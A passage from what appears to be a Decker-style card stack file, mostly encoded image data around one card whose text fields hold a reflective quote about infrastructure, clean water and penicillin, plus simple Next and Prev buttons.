RomZmTGbWbZu2227bdtt7cRIEkSSZJMUEqSxZpGSAAAAAAAhm2zltsBAkkCCAABAIAAAAQAAkAAgglEiRRTFlljMZM1samZmyZttttt7vb7JCZJESZSYxMkyTQmUTQAAAABEA2bXXbbEEAAQCABCAAAAAAAARASSCCCJElDJJBMmUyZlF2u2WbZttt23rveziSRJMyQTJLMlEkTYZMSAAAAAAIN7t3bbEYQhBAAkAAAAAAAICABACIIIiEkaKlrIozKbM9MZmZs27bbbbPve/2JESQiVokYYTM2SRgkyAAAAAAgJmmyG20IhBEEhAAABAAAAAAAIEkAghiJJQyLCZpiM0Zps1mbmybbbbtvec83ESSTIxCiZxsJhMzNjCAAAAAIBAO2EAzWkABAQCAEQiBCABCBBAIASCDAiEkiZLRJMyTZkrbbabN822+33Z+9/kSIkJimMoSSZGkyYGMkAAAAIIERtAQEBkRCCBICIBCAACBABAAAJAIJBCZIoxSGZZmsrbbMkmztk2267Pf2988kkkyEiQyYzJZLJhMQkAAAAAAIRgAAAAEhECIAgAIAAIgCAAAQiAEghCSRJjTSaZTMsyZtM22Wmb9ttu+7ftz5IkRCZFlBIyGSkpmYlJAAAAAAAAAAAAAAiASAiCSQQggAAAIQQCEQCCCCRJGEKykyZs3ZmbZts7Zptt27rtv/vxklMQkEWWRmSbSRZkREAAAAAAEIAAAAAAIgECIAAQgBEQgAQQIARIIIMRJIaymWazJZNtbNkmzNzttv3v3va+9EmQxJMiRNGEkEZAEpAAAAAABEIAAAAABAgkSAkkAAQAAgkAAIRAAggwxJKxmSUs2bZszWadtNazbba3fXfe77EkJCRMmGkZMkYwrZIyAAAAACAAAAAAAAEBAAEAASEAgiAAIIQQEiCDBBJIjE1mqRabbbMztttzL1t725392/vkkk0jIJMjSkkxiSBMiAAAAAEAhAAAAAAgREkkRJAEIggAQgghAgCIMEkiTGMkmMtmyZM23OZrbfnb2273nv9+8kmSWJJEmMqJDEkTISAAAAAAABBAAAAABBAAQEAEkAggSQhCCEiYhkQiSTMyspM2aWza2c1trLf9Nt979ve337JIIkSWTMykpMkkzJlkAAAAAAIABBAEAAECJBkSQAEAAQAAAIIAgjAEkkyCjJpmsZs3bs8zWbbf/d213t/9/ffxJmkkQTJmNTIypCFGAAAAAAgIIQBAIAAQSAGBABJEQkQERIggkiIBkkkitMlJmM2m0zM09t7Tf/tb73e7b2991JEJkykDE0lJhhmWYJIAAAAAAAQQAAAABAEQJEkAEBAQQRAiCBBIzEkkkk0zZmc2bNrZ902zbf/+bm73b/v/33JJJhCM2JjKSTFGUiyAAAAAAEBAAQBBACEkBAAgSQIEgRABAIMFBBBJJJlJJjU0yZstrpnbbbX//be7vf2e2/fySJDMkhJkkpZJYEmTJCAAAAAAAEABAAAAAIEShgBIgCQERBAkYTEjEkllMszNmbtm5bbOtt23//u5u++39/790SZMomJlBTSwjBss0ACAAAAAAAQAAAQABJIgQBCkACIAQRBEEAgCSJJJDJZZmMsmbL5zdu223//+/u77/v23v3SRIykMiTJFJmKQpkySAAgAEAIQCBAAAAAACAkQCSQIkhABAQKJmJJJJmLJUzNs2ZuTTbdttv///f7ffbu//+/wkZhNYyjKSQkShpMiIABAAAAAAEBACAAACQMgxSCBAACEiCCYIEIkSTGaaZZmZttmd9zZttv///17dc/v7u778CZGwRhGGTJpFGlYkggQAAAAAAEAAiAAICBABgQEEGRIICIIARIJJSTMkyZszZsmedj3bttu////f/f7ffu/v3ACZDSEk0SShMkZTJDCAQgAAAAAAAAAAAICEJAwxEQBAgkAgkREpJEmEmSZkzNpts9vN29vbf///b6e/99/+/3QSJmUpKhkyJRiRiIkEAAAAAAAIAQAAAAAAIQBAhEBECCASCAQhCJIkZMszNm2bNm2bdmztd3/////+7b33e938QEKQjImkiRTEsiiQQkEgCAAAAAAIIAAAAQhJEgQMISIJAIJAiEISlTMkzMszZdPNbbe3PbX/////29/vfe9/7AhYmpJEJIlCJiTNJJgEAAAAAAAAIIAAAAQCCCBRIYhAgEggEgYxIJGJNTM5mm1ctu25t9be//////92/9//97wCBEZSUskkSSGMUSEBIIAAAACABAAAAAAgQIIJAAACECQCCQBghIxKTMmZps221za2ztzba////79t/7v/ff38ASUhCRIZMjEYQxIIRAAIAAACAAAAAAAAABAgwCSSQIQBIIBJCAiDIlJOZtp1lrPZtvbbb////////7vvd++//AQJKSSJJImExlCIwiCSAAAAABIAAAAAAkSEJBKESCwhEAgkAAJiMJkzMmZbVtms2223b2//////f7bv//2+97QAAgSSZKSISCEUpBIogCAAAABAAAAAAAAAIQECEQMBCESBASSQhESEjKWZZZru7a7bbbW//////9///b2/9//8AAACSRISZkspJCUkggkAAAACAIAAAAAQIghISEAwUEIAJEgAJBEJJqTNbbTrKzay2229v///////23/v7v/u/AAAAAESSREgiIkQiJBAAAAACCQAAAAAAAiCAgEShIYQkgACSQECIkizMkqbbbnbdzbbb3/////////be/vbv+wAAAACSYkRJJJIACIREAAAAECAAAAAAACAIJCkEhIghACRIABIYkiSSSbazlze213ttvP//////9+2//7ffv38AAAAACQyTJJGQAAAxEAAAAAQCAAAAAAAAggQCIBCSJEkBAkkAghJJRmZpnPTZrTM22++/////////+7v9+/3/AAAAAAFRIJJITAAEASAAAACAQEAAAAABCCDBkIkiRIQgSCAASCBBElmZjWZt223t3bZrb//////v9v7+3373/wAAAAACREySSkAAEIiIAAAAAQAAAAAAAAIIEAQRCSSRhgIJJAIJDEYhKnZtm27bbdtt+3////////+37/ffv/8AAAAAAikSSSMiAAAiAAAAAAgCAAAAAARAggRhEEQhEBCQQAEhIiEhpmbLmds223Zu253f3//////t/7t99+//AAAAAACJIkkkIAAAAMAAAAAAAAAAAAAAECCRCMQwmEZIBARACACRLBmUqbZt2bbbtvbn3//////7/277333//wAAAAAAkkkkkRAAAAAAAAAABABCAAAACIQIAAgEgkJIiyEhCIJMRIJJMzZntm9tu7c3fn///////9v77uff//8AAAAAAGQEkgBEAAABAAAAAAAIAAAAAAABAmZDIQkSCKCICCIgQQiSzM3W2bO2223Z3dv////////+3379t///AAAAAAAJAkgEAAAAAAAAAAAAAAAAAAARIEAAEBEgkKIkkkIACRBKSTJMWZzNttvdf9tu////////5/fbnb///wAAAAAAgAAhACAAAAAAAAAAAAAQAAAAQAkUkSSEEiSSTEQQkSISQkkTM01nfdts12Zu7f////////092/b///8AAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAJAEAQAJMRCERMkhAREhJEkzLNmdmZtt3bbtrt////////Z7253////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEkJAySAESISQkSFIRGQkkiTMs5m7ttttvbvb////////7tt/3////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAIEgEJIQiSSJJJCREJJJMzJJmvm7Ztu2bPbv///////+bd29////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBJIQAkQigiSSZIkiERERJIyTNs5OZppbbbdbf///9////ZN7b/////AAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAARJCBICggEhJJCERETJJCTMlts5m7ZM2223///9rv//27b3/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAISQAEJAxDCUSSREUkkkJJM2SbPbTbZbaySbb///9rf//+bbX/////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIQAiQQjBEERJJJJRCJIySSgzMv5NZlybNt1t////v1v//Izf//////CAAABAgAAAAAAAAAAAAAAAAAAAAAAACAAkiBBCEQkRCSEiEkokiSSJiU//SySSyc22Tf///vXV//0zb//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAACAAEEEAhgiSJJKYiRJIkklJlP/zKZtmyRI7P///tmXv//V3//////8hAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBJEQQTCBiIkSIhiJJJkkkZmf/7Myk0zNmy2///5u6P//kn///////AAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAEBAEBBBEpBIkRJGBIiSEkkxBP/+vSZhk2bNmf//97K9P/6f///////xBAAAgAAAAAAAAAAAAAAAAAAAAAACAAAAAQEEEBAhEQiSUJEiSZJJJNn//r0xmkyZkm3///zM2///////////sEAAAAAAAAAAAAAAAAAAAAAAAAAAECAACQhAQQZFDIRiSRJJJEhJJIoj//88yJJkzWb////3aVL/////////7fIIAAAAAAAAAAAAAAAAAAAAAAAAAIACAgBCEhBIEMCkhCSJJJEmSSSpj///fg5lk2f//////S9vP////////b/wgQAEAAAAAAAAAAAAAAAAAAAAAAIAACAgEIAEASYSEREkpCRJISSSJFf///+xLFkz//////mhLd///////9//8BAAAAABAAAAAAEAAAAAAAAAAAAAAAgACQAkgSRAIkJACRGDCJkkksZX///+kZMmm//////+/Nvf//////2297JAAAAIAAAAAAAEAAAAAAAAAAAAAACAAkAiACAASYhIKIJEMGZEkkgZj///PMyRks//////9oaaf//////vf7/wBEAAACAAAAAAAAAAAAABCAAAACAkAAgEiJIJMggTCYgyJIwREhJLQ////50mbFkn//////ay3//////9u8v+8SEAAAAAAAAAAAAAAAAAAAAEAAEAgAJAAAAAgAEiRCQSSSJBgJJJJH////99MSZNM///////e38/////7X77e/AIAABAAAAAAAAAAAAAAAAAQAAIBAAAAEhESCSMIkiRIASZEipEiST/////XZmRotv//////W0v3////7NPt+/SQACAAAAAAAAAAAAAAAAAAQBCAAAIEAECERIAIIgiQkkkgSRAQSASf////55MzKpP//////3t+v////7a89W/cBJAAgCAAAAAAAAAAAAAABAAAAAQIAAQAIABkgIJhCiBCSSJFBgEgv////++ZiZJY///////u97////2TJ7d+/GAAAAAAQAAAABAAAAAAABAAgAggQEAABAIpADIYDGJMEJIkgECQCj/////fZMzVTP//////t7fv///mbdu7t/wJCCAAAAAAAAAAAAAAAABABAQAgAEAgBCIgRJAQYIEkYQkkTIgBID/////97ZmTSX//////+29////sszazN28gECCAIAAAAAAAAAAAAAAACAAQAEIAhEAIBBICQQxkSAhJJIEikAkP/////+ZMyil///////7b3///JpyZvd37CQAAAQCAAAAAQAAAAAAAACAIAIEAggAAgRGCSIxBCRKCRIIkAhKAz/////3yymmk////////8////ZJlzW3bfwBIAgAAAAAAAAAAAAAAAAAAQEAECAgIhARAKBAhEiJEkhBQEJBAMh//////2rMkk////////y7///JZpmdbbt8kAkgAAAAAAAAAAAAAAACBAgEEECBAABBACAGFCSSSSRCTE0IRDEAv/////+yUml/////////v3//qTTmy2zb3ASAAAAAAAAAABEAAAAAAAAAgAICCEJECEiMUIEIhESJEiCAYxCEJL/////3nVMt/////////////6aTLOs3bfRAJIIAAAAAAAAACAAAAAAQQBBAiCAAEIICEQkkkiSSSCSSMgQSAIQ/////98mdk//////////////SzLM12258EgAgCCAAAAAAACAAAACAAAQEBACEiQIgkEEiEEEhIkSBEgKQgSQRP////9+ypNv/////////////mTM21muz3ICSCAABAAAAAAQAAABCAACBIRBEACBACARIBJMMSQkySUjIIiQiQn/////ntm5n/////////////+UlSZu233QkAIAAAAAAAAAAQIACAAQECABBESIEERJDBMhAIIhJCCRJCSRIiIif////741Zn/////////////+UzNtpnNncASQAQAAAAAAAAAQACAAAIACEBAAIgQRAmDATDJIkkIWEhCSEQgQkn////9/hlt//////////////1nK2bWtu3JAAQABAAAAAAAEAACAQAAAgIRBIgCBASACDECCEkiZkEjGQkRJhEk/////XtuZv/////////////5MWpZZvbuQEkQQCAggAAAAAECEAARAAAghBAiYIEgkkiESSJIJAEMkERhEQiUk3////55kzL/////////////+pkzmztNm8QAQQAAAAAAAAAAEAAEAAgQCCCCAIggEiBGSSQkkpGZIkyRDETIhElkD//+/JGZ//////////////zNnObJbXNBIAAAAAAAAAAAAgRCEEIAAIEIIJIJCIAkMSIkhCSSIJECJJCSEmMkm+///bpszf/////////////5JMY03bNdkAkIAICECAAAAAggEAAAAIIAQggEREIlAYEkkRMhJIyUYkiSIkQYJMpf//17Kmf/////////////+iZjmTaazMSAIAQEAAAAAAAAAQRAiEIAEhCCQRESBEgYkZJISQkiIhkSRIklgYkk///9eZMx//////////////yTOM9i2rNAEIEAAAAAAAAAAARAAgAQCAAEIBAiQMgCRkxIiIjJIkmBJEkkkGQIf////TzVmf/////////////8SIxkm2a2QkIAAAAQAAAAAAAACAgEgACBIQkEiJkJkJElZKImJJkQZIkiRJMSQv////26TMz//////////////EqjMpk1kYgACAAQQAAAAAAAACCAIAAQEAhAQBIiIBSRkxYkkSSElhJJJJJIkiL////+ezJm//////////////wSJMzGkUyACAAIQAAAAAAAAREAAAAJAQSCEhJERJZCTFjSSRESZIGQRJEiSIiJ/////LyTM//////////////8hJSZZM5GRIAAIAIAAAAAAAQAAAAAAEAAIICCIREQmEtGSZJMyRJoTJJJKSZkQf////66zJj//////////////CETJjUiEUAggAAAAQAAAAAAAgAAgEQISAgkKIkkSSMwsyySQiSSCkIiSIklERX/////OmTM//////////////xJCWSTMYAQAgQBAAQAAgAAAAgAQAAAggJCBICSSUkkhommZJIkiZIyTJJEmSST/////30zJz/////////////9BGBJmIwIghAQABCACEAQAABAAAAEAACQEJCUIkkkkNlsmSkpkmRRiUEkVMKIg//////9mrF//////////////CAGEkZAIgiEAJAAAAAAAAAAACACAAAQBIQiESkkkk4lJmWKZFMUjEkySTIsymv/////uMjNX/////////////yJEJBBEIBAAIIEQhAAAAAAAACAABACBEAhCUJEklJJJLNmZJJMyyJJjJKJiSIJ/////75NW2/////////////8AEAEGCQRARAgQBAAggAAAAAAAAAAkEESCEkYklJMsZrJGlSSiEjZJkEkkmIxk/////97MzK//////////////SQAQQIBBCQECQkAAgAAAAAAAgAgQAAIAMJEIiJNiYZKTNmTJLMyRTBsZVY2zEX/////fKamv/////////////wBEghAyECAQRAgCSAQBAAAAAAAAAACIIkREYkspGJYZbNlKS0kljGJiZJEkQIl/////rzM2f/////////////8kEAgEAISEBDEhIAIAIAAAAAAAAAACAAgBEhJSZM2RpUsmmzJTMWMZjIYqZlykf////6/M1v//////////////AQBAQQgAEIEARAkgIIAAAAAAAAAAAACBIJKRFJZiTKZZsrGUlMxZJEmxYpmSJL/////fNtv//////////////0gBBBBCSRAgShCACQgEEAAAAAEBAAAiBAwgjM2TGmZZlM1MzKSTFMZiKRSSZpK/////31Mv//////////////8AICEEEABCCICCJIBCAAAAAAggEAAIgCCBDGJiaZMzSTZNSmMrMsZZmkrNZkmSX////69Zv///////////////IQgIQQQkCIIkJAAkACBBAAQggAAAIAgIIMMTGkzMmKZjMmYySUyzJBNSYkmZSR////+/r///+f///////////whBAhBAgSAgARESACQBBBCAAAQACAECQgoQlJMyZMy0zbOZnNTJKabMVRmZJmmgJf//3////9v///////////8CBECEEhAECRhAQJIAhAAAAIAAQCCAQBCAJKTMpzcnEzTMs2WWM0xYpJVMJmSWLzP///////9n////////////kCAQIQAEkQBCCQgAkCAQAhACAAQACBEEJSQpJMzScdszNqzNM5zTSzMkwkmZkZHN//+////7Nf///////////+SJBAhIgCFEAIgiSAICASAACCEAAgIEQSETSzMzW5ypzbLNmczGMmTJajNJK2zUL///r///7Nn////////////AAEECAiIIESQiAAJAkIABAiAIEIhAkBAIyFLKsyzOrNmNc2Zpc5yUmRssMmZKT////8///7bP////////////ySQQQJAIwoQhAMkgCAQSECAAgAAgEQMMygmUmszmY2ZmdTZtmxnHmybEwYaUkz/////f//6TP////////////8ABBCQEgRIhiEwICSJAQISIQgSCAgRIYQJkJTM2mzlbNtbNmWbMcMlmZJSQtbS////////22f/////////////EkEGBIDAISAQhIpAAEgggAQggIBCQQIIxE2nMs2ndmZma2bZs5y5lWTs2ayVNv///////2W3////////////4EAQSEAkGYRJRgCAkkQCCCSQAiQkEIxYYjJkaZs1tRubtuzbNmzOrNkmJSSJM2X///////msn////////////+AJBCASAQASEQhKJAARIIIAAkgBAQQggQkJkxnM1lvpubuXmc7NY2Zrm1MmZmrN///////us3/////////////kgEEEgJBGSJCRACRMhIwgkkgBEBBBBCSRTDLWZttqtuZpdO7zszlTJmlY2TLMmf//////ptt/////////////4CQQQCQEkEJGJDGDEJCRCEQhJESEKJEIlGNM1nMpvN5fT282nLbdmbTNpkmJN2f//////tlMv////////////+kBBhMBIQkSSCGEGCISEMMRhEAAIYIJIkSZTSmZvZdJ0fa52e3cxuzbNLbMrSM1//////5bZv/////////////gSEiQSCRBCCKIBECIRMYQIhESSQgQYJJLFLNtrsbzf361tt83U3pnS2bZMmTZmf/////9pjN/////////////5AIQBBIEMkMSSmJEkxEQTIhJCJJGRIYRKMam1mt7bbMrvd7m2vdbmWzbJ2ZLXM//////vbWZf////////////+MghMGAwQRQxEIYkkBJJSJJJGIQkCQQzIkzOZN1m2227ZtrO9uttbs1mbTJmWZz/////75Zzf/////////////oCCEYJBjEDAkxgQgpCIkiRJEJRCMJEiKzLM05lu223bbu7e1tu61m1mbbMmabNP/////ezmb/////////////4JISAiQiEaMiDGRhiEZYyTJEkRMIyMSSRMmmzvttttt27bdtttru2Zt6SzZK063/////PbMyf////////////+SBhKKJghAgksISDBIhBhkJJJRISCIRGVkzMu5ttttu2zd7dttu2ttpm2zNm2zO/////301nf/////////////kJCAoQhiMnJAykpBBCKFEySJEiSYkk2UmnNsznbbbbbvbTtttt3Nmbud20bStc/////9ezM1/////////////4hBLCRBAokJNCIiTLEopUiSaSSSRkSRErMbNnfNvd7ds7f27t7W9vbM80zZmszz/////nttmf/////////////JFEMSVJAJZSUkkSIJCSjMywZlSUEksmslzNO1ved323z237tztraa3a52tm1vOv////35TM//////////////xJEQyRCUxDGJkRSSRMRKMyjQkSU5Iwys3Obdrbd+9XdP27Nt3u27znNrs6bNc27JL//9fNNn/////////////5JETAkEAjKMSElEkZIyUyJmNpqUiJhlk1M7be7bW793+29933bbbHWu2t1ps5rNtm///na2cP/////////////JJIJCYygIxLMpWSxJCZGZkyTKUsaVkls22bZze/e73Nt533O3e923u7bXX37bt2TP//77LZ7/////////////ySIyUAgjRFMEjCMiZMkkzJmZJUpyZJrMzM7bn2697v/e39t+7c7XutrdttTJbXZtP//9+cmn/////////////9JJCQyEgFMybNOIyZY2TGZkyzUrGSZmZbdubfv/73+rd+57z3t9ts5u2223v21b/////XzacT/////////////SSUghMJkQjJIkbCSRhNMzXTbS5M2ZSbZm87du2fvZ//d77vnfd3t3t27bbba32/////57Nt3/////////////ySREhAIEjMmTLSM2ZNkzGZNkmpyk03szmz3bb39e/3bd37+/1dtttbW223tm2W3////++yWWX////////////+kkkTDJZKJmbMmYwxomTMzs222TNmyUzPnN/vnv97ff/7b17n+73d3dt27be281/////3zZZm/////////////ySSRCERIjMkkyTJjKpNW2bZtldtsttt9veze/u73++2v/33vu7t929vn27Z221/////19m2m37///////////9JJJCSSSTImTJmMmZJmVMzNkm1rJ02tzbe/97/7/27/+23vfu33zvz/Pn733ttv////9+2abNr////////////SSSSSIiVDMtMmZZTXbbc2af+zbdt7Nvbc9z3tv23/23//u9vvXfuvpfvnW2ttr/////nps1smX///////////5SSSySmSWMkyZJJGTJmpt75lvtbbs9s3393vf+//9//dtv7/e/59+7/bve777b//////9mWTbZ///////////+ySSizMWpQMjJmaaTKybMzXnc227Nzb3Xd/+9t9377t9//ft97r1177dv+9nrbP/////ebc7Nm////////////iSSmiE0SlsqMmZZmTZ1d7dfZ3ez/fdv377t7/9/37/77bd/23v//33v/b9/bbL/////3pkzaWf///////////6SSkmbJlKEIpYkxGbU2bW21vu1vzd2+vvvf37f+//977//3f/fbs/fet/tt322/////++zbTZt///////////+mSlkyMmdpJSRmSZMzZudbbbe7+333t++e9v3+++7///+7vdt9/v699/2f+3bzf/////uZszWm////////////mWlNmbbZEkRSUszWTNmbtt7t3p/3bv3b97+33+//7+99////32/f733f9t/tnn/////n5mzWdP///////////5ENJM2ZmdJSkxiyVNs3eu7z7nf2v/vffv3t/33/373/9/d27ff7d3vfdv72vem/////27bNmtt///////////9kkLJmbSZkkozNJtczts7bvzv9/u2/c++/f23/33///f+///99v/3e9/dtvvdu3////9OZk2srf///////////DKaLM2btsSRiZUyxzNr3ds3/t2//7f777/v/9//9/7/f/u+//+2//7292+3bcl/////XzTZlrf///////////6JIqZmatZJJGSTZnN9vNb3/1v/bbf+/vvu/39///////v/+97d/7u3uzt73bZt/////1+ZpnNf///////////5jGSTM21pySZWbM2czbd7vdv/b//927e++933/e//79//73/399vu/e3tnP7bMj////9OzjNNf////////////GKVWZ2XbySZkya1rbNtz297t3u233/9779//v//3v//3//3v3/+/99mpOcm7ZLJJ///bmNZbf////////////ISE0zM81tGQmmzNm9+273b7v3+//ft33vt97/v/v///f9////9t7dzWrZt+zTMlNv//z+5zZP////////////zkcgmZpzZ0WpMmcvZzbb3/v/f39t9v3fe/9/7/3v9/v///f77t/39vZmZk0nWZTZL//+fJjK3/////////////Ewtszbvtswpks5s1vd/dm+bdvd/3/f997b7f///99///f/f7/7fbezmZJps0zNDJ///z1mub/////////////EiIkmZq27DjLZrd3a22d/5//+97fb9v33/v+977///7+/3/f7f97ZuZmZklizI2L///29bZZ/////////////0kspM23trWGZJs1tvu+/bv3bb779/v+vfbe797/+/u/7/37+/9zm3s5mZJZMlLR////8/ZJm/////////////+MkpsmbNvcszWzbNuc9u/u/f/vv72+7+9/973/99/v+//3737bnO2ZySUxJJkzN/////nybOf/////////////sJJIs2tteiiSbM9t59u7f7+2++3v77t72333u9//f/+/v//37u9szmymTIZNjI/////8+aZN/////////////4ZJZpmbba2Mzk2zbX9v99vu/77/fvv/3v/ffv79v/7v+/99vbZpk2ammYJRRMmn////9vazc/////////////+RJTJs9tu00ymzPbdbfX3++9vvt9u+3fe298/fv/bv/v7b3+2zmtszklIySTJmZ/////vyWZv/////////////kSSZRzbbfFJmms229t3Pb79++/3/7+d9/7T59+7fu3e3/vN7bNZIzFFMySYiMl/////48RzP/////////////5SajVmZts0s1mz227f3+/vt773fbbm+z23fNzTb+//d92c+20lVJklNJQkgzZmf/////PSmZ/////////////+kgmW2zzb1pZmnNt29tv7e37tvZttvc7v2adbdMyZt3t25zKTTEaSyIJEyTJDEr/////3wozf/////////////omUyJPLbNJJms7dm7e+393b39vu22126m6zMy2SZrWbMmmWslIwhhJKUxJJKNm/////+8jmT/////////////5kZms02zdzaSRjNvtt7bb323N2dtvbczum2MyiZJrMzMkYkSySimlMUZBSTJJMf/////vJM2/////////////+EkkSzFTVZBZlmabN3Xf9tna9t9ts25nMkQySmAkCSmGZhkkBJIkIQxQmSSKWQx/////zwxk3/////////////5kRVJM22zCQ2SZ5ttuebb22ptmbbyas01lmSMWSZCISIiEk0kkkkpCEiSmSYZjf////89DEl/////////////5klI0yoyrSQgRJTTbu87bNqapM5JLs5jJEESYkJJGRkkRIJAiQRJKcskkkVEkmX////+PEJs/////////////+RIYhTJmt0AgkkSXNM22bZEkpJiayKRMIkpEhIkgSFCRESpIkJlJJIkkkkxMUYz/////jxSkr/////////////xMxZEVM1TEhAiSyM1kpaTMSRTKYiSZZZJJMmRkDQkSJESJIhSESSSMJJJiksxif////49EZJ/////////////6YSRMxZlbQBEhIgkSMhASIIhCIgkkSxBJJAkTEsAhJIISJCREZICJMpJEkiYjE3////+nIxNH////////////+pUiQiJMy0JABAhkQolKSIIiKRGREyCTJCGJEIgihCEwiJGEQxImEQKSERGhMkw/////jyiZa/////////////kUmTJYxjTABJCRAkiAIQAAAIEMRMiUiJGIZMwlKDGJBGJEERCRIETJIIlMLMyjn////4cIxCv////////////9SSUZRTNmiSACBBACEgQQAAQQoEwkkmSIShIhJISCBEQESSAMJEkCLGykQoiEmMiB//+3RjOI////////////+MlIxSUkmoAJIEKEkEBAgAAARgYjJEkSYkKSCRIwiFCRkRJKQSJEIIKEJJJKMxImNf//n5EoZnz///////////42WkkyTKNEgAkQIAQAAgAAAAhAkJMkkhIwgMjBAiRCJBJAQREJEYxSkxIpMkjGMQT//7/JjTNN///////////9kJMyytNtQCSCBEIAAAAAAAAgWRSQkkmJjEgSDEkRCQhEjRQESSQREmjJJITJJMlJ////pmGJY////////////k2klgkyWUkAIJEQIAAAAAAAAQBETJJIZEMTESAEQSRDECEQgkSEQSRIJJJJJDEIYf///5CabJj///////////5iTMllLM7ASQgBAACAAAAAARAkiSJJJgRQIEQikEggkEkkQiIwkySNEySJIiSJJhD////NkiaW////////////mlMpNMmkg==&#34;&#xA;{widgets}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[363,31],&#34;pos&#34;:[135,22],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;but the rest of me knows that every uncorroded bolt and working sewer is the best that we can do today,&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[361,30],&#34;pos&#34;:[133,61],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;and that clean water and penicillin do not require empire and exploitation and profit.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;&#xA;{card:card7}&#xA;image:&#34;%%IMG0AgABVv///////////////////////////////v////////////////////////////////////////////////////+2zMzMyUkkkkkkkkykkkkkkkkkkkkkkkskkkkmZmbbbbbbbbbbbbbbbbbbbbbbbbbbbbu7333/////////////tvd3d39////////3v///973ve//////3////+7u7bbbbbbd3d3d3dtu997bb3//////u7vffbbbbbbbbbd3ve223d3dm1tttttttttttMlttttsstststMssttu7u22227323d3d3d++7zz33nTWazTWf/+89/////////93ve/duZmZu7azMzMzZttts9/aZpmm55m7W68567NszN273e7nXu7u7u7t53Pv3Xf33e/33dmbb72222222223////d27+7tttvd7d7btttt7U27vvfNtvbdtr7tttt3/Xtnc9vvO7u7u7u33e93vbn3+833/3//vv/////////u73vbbbp7vd223b3b27bbbbdzbabNd67W222tt23bdmdt3t97u/t3d3d3u7vt2u7vtr9/vm3u2++222222229v/vfe7tvm2ZttubWbWzbbbba3m15uZm7e27bbbbbbZ29tvbdrtrPbd3d3O7uvb7z3u+19uv3u977////////7/u+/fbbbe3ftts7d7dvbbbbbtmzWzbuZy2223Nttu33tt63du3e/e7bbu/t3ve3n3O7d53fnv93vttttttttvvv7+/23bZts7bb22222222222nns7W7dztt22e22222tvbudt3bba7d7u7Pdvbdv2++977dvvXfe////////++/f//vbbbtuzttt27bbbbbbbZvOz22zW3ttm27bbbdttuds9tnbe27dz3d/d7bt3m7s777/vvfd97bbbbbbbb77923fdu27bfbbbm222222223ttrM22etbbe222221tt7e39vfb23d7b3dzbb333P7e+znbPfe/33////////v3v3/9223bbc3bbO222222222bTW821493bZtt2223bbzu7Zud223dzu2273u3XbvN18/3e/de7e3bbbbbbbb+3+/27+7dt222bbdttttttttt7bdz9tn1abbttm2227bvbbt7e27vbb293u3e93tve31837bd9vc/////////t/373/9ttu2297e3dttttttttm203Jm7Na7bbbe222ze23du7u7tu27nZ3u9123vdu+399r3772+9ubbbbbbbf93fv29227bttna2ZtttttttbbWb53vLt7223bZtttva3bbbbbbt227e32tt33e3d207J773Trv7/9////////b39+/7/bbdttubt7ttttttrbNttrnNubTG22bbttts7ttu7d3dttt7Z3b73bt27bt39/zr3//u3mz22222222/v737vu2923bb7dm7bbbbbbOebmzOtm5ve227bbbbbzdu+z22bbbtt3nbnt7t3u7u3tzf32rze/f/v///////7/3/fvf2zW7bbO1uzbbbbbN+bbPbdvPb2bttu23bbbfZ7Zv3d+7fPbXe23bz3du73etv23W+3t89t+22222223t3d9/ftvdtu283bvbbbba+S+m7N21Nm12m2222bbbZ3rdtm3tz2efdt23bPnd7bnc7bXbv97717/b/////////3933fvs7t22z27M22222y+y2zOWbfW1m3bbdt7bbfme29u7O32+82229u8+2z3e297vdum2zv/tftttttttttv3/ffv7zPbdvNrd22222ds3nt2887Ntu3W21tnbbae92572+7m6227btu3zu73Z7dz279/vf85ve3/f///////vd9/vtvebts9u3dtttt812WtzW2zO27tu23bebbb5tm3rW7bu7tvtttttPO22329v3br1u9z77e/bdtttttttu973fva97bbzbbM2222zbW9rTtcve3LNm223Z7bbXtu9e27dt7d2t23bd89t7ubba293P3vXu7+9+//////////7/dvbrW3bPbdu7bbbbdtpvPu1802e9vW22bnbbdbbt13t23W13tt7bZrztms7u7trbevef27z927bZtttttt272//+292be22ba2222zbnseZbZz07Ztm227ebbb3bNvXO29e72t7m23uvN+722ztve/e1+v+3n7//7//////37/7tu3bn7du27W22223NvN7Z25vn2Ztm22217bbObds9u7167tvrO227a9p3O3fbbc6dv280//Ptzb7bbbbbfv23v+9tunbc22222222+ZtbP2z4mmb7fttt3W2287d7zu2tz229O/u9rdrvne203bt9++3d98z+fv93/////9u3/fb9u2+e522222222ptnZuW3T+2+Zstttm922z22zPNt7v23Z/bO5223Ofbdv2e25253d997r9u33bbbbbb//t/ftttt6zu22222229u/O2c23ZtpZ27bbezm23N27c9tnO29v7du3t27d521st63b233e15++33/P/+////ttv2+/7dtnvc222222215pObd2u1mt31ttts3O229m27ztvfbt2zbbtbtttn23b7m2223bu9z559vW+227bbbf//f77bZtuc522222223Lve9tdszebbNtbbb29ttre2zvNu2du3b27t3O92+29ttu2229tu277n17vb/vf7//9tt9vv/fvb5zu2222222u6bLW5t3s9M